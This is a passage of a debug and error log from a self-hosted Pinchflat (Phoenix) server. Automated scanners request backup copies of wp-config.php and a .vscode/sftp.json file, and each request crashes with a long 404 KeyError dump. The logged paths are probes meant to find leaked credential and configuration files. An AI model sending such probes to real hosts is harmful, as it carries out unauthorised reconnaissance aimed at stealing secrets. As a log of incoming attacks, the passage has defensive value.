Phoenix.Router.NoRouteError to 404 response 15:21:54.331 [error] #PID<0.9680.0> running PinchflatWeb.Endpoint (connection #PID<0.9679.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9680.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBJf4OvR7GJkAAckC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9680.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-req (truncated) 15:21:54.569 [info] GET /wp-config.php.old 15:21:54.570 [debug] QUERY OK source="settings" db=0.1ms idle=475.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.570 [debug] QUERY OK source="settings" db=0.0ms idle=475.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.570 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:54.570 [error] #PID<0.9682.0> running PinchflatWeb.Endpoint (connection #PID<0.9681.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50568}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9682.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBKY4UwdPI1AAAclC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50568}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50568}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9682.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-req (truncated) 15:21:54.775 [info] GET /.vscode/sftp.json 15:21:54.776 [debug] QUERY OK source="settings" db=0.1ms idle=444.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.776 [debug] QUERY OK source="settings" db=0.1ms idle=444.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.776 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:54.776 [error] #PID<0.9684.0> running PinchflatWeb.Endpoint (connection #PID<0.9683.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50578}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9684.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBLJ9OwlSUdsAAcmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50578}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50578}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9684.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBLJ9OwlSUdsAAcmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 15:21:54.805 [info] GET /wp-config.php.save 15:21:54.805 [debug] QUERY OK source="settings" db=0.0ms idle=295.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.805 [debug] QUERY OK source="settings" db=0.0ms idle=235.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.805 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:54.805 [error] #PID<0.9686.0> running PinchflatWeb.Endpoint (connection #PID<0.9685.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /wp-config.php.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50590}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9686.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBLRBXrR7jWkAAcnC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50590}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50590}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9686.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, { (truncated) 15:21:55.044 [info] GET /wp-config.php.txt 15:21:55.045 [debug] QUERY OK source="settings" db=0.2ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 